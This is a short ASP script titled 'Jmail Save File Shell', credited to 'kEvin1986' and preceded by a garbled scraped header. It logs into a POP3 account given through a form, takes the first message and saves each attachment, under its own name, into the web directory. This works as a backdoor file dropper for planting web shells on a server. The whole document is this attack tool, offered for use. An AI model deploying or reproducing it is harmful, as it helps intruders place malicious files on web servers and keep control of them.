Author: kEvin1986 nature: original release date: % codzbykEvin1986UserRequest. form (User) PassRequest. form (Pass) PopserverRequest. form (Popserver) ifUserandPassandPopserverthenSetobjmailCreateObject (JMail. POP3) objmail. conne author: kEvin1986
Nature of the article: Original
Release date:
<%
'Codz by kEvin1986
User = Request. Form ("User ")
Pass = Request. Form ("Pass ")
Popserver = Request. Form ("Popserver ")
If User <> "" and Pass <> "" and Popserver <> "" then
Set objmail = CreateObject ("JMail. POP3 ")
Objmail. Connect User, Pass, Popserver
Set objmsg = CreateObject ("jmail. message ")
Set objmsg = objmail. Messages. item (1)
Separator = ","
Response. write "Attachment Name is:" & SaveAtta &"
"
Objmail. Disconnect
End if
Function SaveAtta ()
Set Attachments = objmsg. Attachments
Separator = ","
Response. write "The size of this Attachment is:" & objmsg. size &"
"
For I = 0 To Attachments. Count-1
If I = Attachments. Count-1 Then
Separator = ""
End If
Set Theatta = Attachments (I)
Response. write Theatta. name
Theatta. SaveToFile (Server. Mappath (".") & "\" & Theatta. name)
Response. write "Oh! Hey Guy... That's OK! "
Next
End Function
%>
Jmail Save File Shell